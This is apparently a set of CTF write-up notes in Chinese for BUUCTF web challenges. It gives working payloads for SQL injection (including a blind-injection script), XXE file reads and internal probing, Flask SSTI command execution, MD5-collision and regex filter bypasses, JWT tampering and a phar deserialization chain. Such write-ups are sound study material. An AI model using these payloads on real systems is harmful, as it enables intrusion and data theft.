BUUCTF做题笔记
[SUCTF 2019]EasySQL
根据提示可以知道是sql注入
经过多次尝试,联合,盲注都不行
测试的同时知道过滤了union and or “ updatexml…….
尝试一下,堆叠查询
构造语句
1; show databases #
有结果显示;
查表
1; show tables #
查列
1;show columns from flag #
估计是把flag过滤了。。。
之后在网上找到说是后台代码
select $_GET['query'] || flag from flag
如果是这样
flag已经有了,那么查询
*,1
因为查*会查到所有的内容,查1的时候会自动增加1列,这一列的内容为1,这里的1是为了中和||flag,这样返回的数字就是1,查询的内容也会直接显示
[极客大挑战 2019]EasySQL
看见表单sql注入,之间抓包,在bp里面解决
尝试万能密码登陆
2.1 猜测闭合方式
2.2 单引号闭合方式
username=admin'or'1'='1&password=admin'or'1'='1
- 进去后直接显示了flag
[强网杯 2019]随便注
- 测试
直接告诉了过滤了什么
查看闭合的方式(单引号字符型)
- 之后就利用延时注吧
爆库
1' and if(substr(database(),1,1)='s',sleep(3),1) #
利用bp爆破,由于采用的延时注入,线程放慢到1
爆破结果
所以数据库应该是:supersqli
爆表
1' if(substr(table_name))
没法弄了。。。过滤了select。。。
试一下,堆叠注入吧
查表
0'; show tables;
查列
0'; show columns from `1919810931114514`; #
0'; desc words; #
反单引号(`)是数据库、表、索引、列和别名用的引用符
看到这,就想起之前输入的1和2.。。
这里就想到提交查询有可能查的是words,但是我们需要查询flag。。。
构造payload
1';rename table `words` to words2;
间接证明了,前面数据库求对了
* 猜想后台的sql语句:
select * from supersqli.words where id='$inject';
由于只改变了words的名字导致题目后台的sql语句由于找不到words表直接出错,之后,我们输入的语句都会同样的报错…..
重启一下环境
1';rename table `words` to words2; rename table `1919810931114514` to `words`; alter table words change flag id varchar(100); show columns from words;# //两次改名,之前已经知道我们输入的1和2分别查询words表中的id和data字段,所以,除了改表名还要修改flag字段名为id,大小100
查找flag
1' or 1=1 #
预处理绕过select
:
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
Handler绕过:
1';handler `1919810931114514` open;handler `1919810931114514` read first;
[极客大挑战 2019]Havefun
直接查看源代码
访问一下
得到flag。。。
[安洵杯 2019]easy_web
img参数的值进行两次base64解码之后得到数字
3535352e706e67
在进行16进制解码解码工具
555.png
- 反推
index.php
,查看源码,进行base64解码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
md5强绕过:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
关键代码:
<?php
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
Payload:
%20 代替空格
dir 查看目录
cat\t 绕过正则
POST 强绕过md5
?cmd=ca\t%20/flag
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
[BSidesCF 2020]Had a bad day
- 随便点击后题目url:
http://0d6fe9db-1531-4e0c-b9df-6aa90ff30c9b.node4.buuoj.cn:81/index.php?category=woofers
- 后面的.php或者其他应该是被拼接上去的
- 尝试读取源码:
php://filter/read=convert.base64-encode/resource=index
- 解码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
- 利用filter协议,添加要求的字母带出flag
index.php?category=php://filter/convert.base64-encode/woofers/resource=flag
[ASIS 2019]Unicorn shop
- 找到大于1337的unicode字符,再进行url编码,买第四个商品
id=4&price=%E2%86%82
[NCTF2019]True XML cookbook
- 根据题目可以知道是
xxe
,尝试xml
注入,读取源码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&exp;</username><password>aaaa</password></user>
源码没啥用;
内网探测存活的主机:访问/etc/hosts文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///etc/hosts">
]>
<user><username>&exp;</username><password>aaaa</password></user>
读取另一个文件:/proc/net/arp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///proc/net/arp">
]>
<user><username>&exp;</username><password>aaaa</password></user>
找到一个内网的ip地址:10.0.4.2尝试读取:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "http://10.0.4.2">
]>
<user><username>&exp;</username><password>aaaa</password></user>
会有报错,尝试扫描c段:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "http://10.0.4.2">
]>
<user><username>&exp;</username><password>aaaa</password></user>
- 在一堆爆错中找到一个对的
[WUSTCTF2020]颜值成绩查询
- 异或型sql注入
- sql盲注,用sql语句代替中间的1跑一下二分法脚本,跑之前最好重启一下容器
import requests
url = "http://24c920f4-5836-4df3-9cfe-9dfeb25c30eb.node4.buuoj.cn:81/"
str = ''
for i in range(1,60):
head = 32
tail = 127
while head<tail:
mid = (head + tail) >> 1
payload = f'ascii(substr((select(value)from(flag)),{i},1))>{mid}'
#payload = f'ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid}'#flag,score
#payload = f'ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),{i},1))>{mid}'#flag,value
params = f'?stunum=1^({payload})^1'
s = requests.get(url=url+params)
if 'Hi admin, your score is: 100' in s.text:
head = mid+1
else:
tail = mid
if head!=32:
str+=chr(head)
print(str)
else:
break
[FBCTF2019]RCEService
源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {<!-- -->
$json = $_REQUEST['cmd'];
if (!is_string($json)) {<!-- -->
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {<!-- -->
echo 'Hacking attempt detected<br/><br/>';
} else {<!-- -->
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {<!-- -->
system($cmd);
} else {<!-- -->
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
[GWCTF 2019]枯燥的抽奖
<?php
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
for($t=0;$t<999999999;$t++){
mt_srand($t);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
if($str_show == "Erb9CLrLVL"){
echo $str;
echo "\n";
}
}
- 活生生跑出来的
Erb9CLrLVLTDmbWRVu02
[Zer0pts2020]Can you guess it?
题目源码:
<?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>
Payload:
/index.php/config.php/%ff?source
[CSCCTF 2019 Qual]FlaskLight
ssti模板注入:
- 利用
subprocess.Popen()
Payload:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('tac /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
- 查看源代码,可以看到需要传递
file参数
,那么利用file参数+php伪协议
尝试读取某些文件
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
查找漏点:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
这里只接收了一个参数,但实际上这三个参数我们都是可控的,$address
我们在change.php
提交,$row['address']
我们在index.php
页面提交,由于对$address
有限制,尝试在提交的时候对$row['address']
进行sql注入
payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
过程:
- 在
index.php
地址填进payload
,其他空随意 - 进入修改页面
change.php
,随便填写三个空 - 跳转之后,会发现前半部分
flag
- 第二个
payload
重复上面步骤
[HFCTF2020]EasyLogin(JWT)
- 注册账号后登陆
- 修改jwt的值
- 修改账户名为admin,去掉校验部分
- 点击登陆抓包,将jwt的值修改
注意jwt最后的点
- 登陆之后,点击
getflag
抓包
[SWPUCTF 2018]SimplePHP
- 查看文件的地方有任意文件读取:
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
- 利用
phar
读取任意文件,会进行反序列化,查看flag
文件- 构造POP链:
C1e4r
的析构函数会输出test
属性- 通过令
C14r->test=new show()
调用show
对象的__tostring()
函数 __tostring
函数中调用了source
属性,Test
类中并不存在该属性,通过这样调用Test类对象的__get
函数- 最后设置
Test->params['source']=/var/www/html/flag.php
读取flag
- 构造POP链:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
upload
目录可以访问,直接利用phar://
协议读取文件
也可以根据file.php计算文件名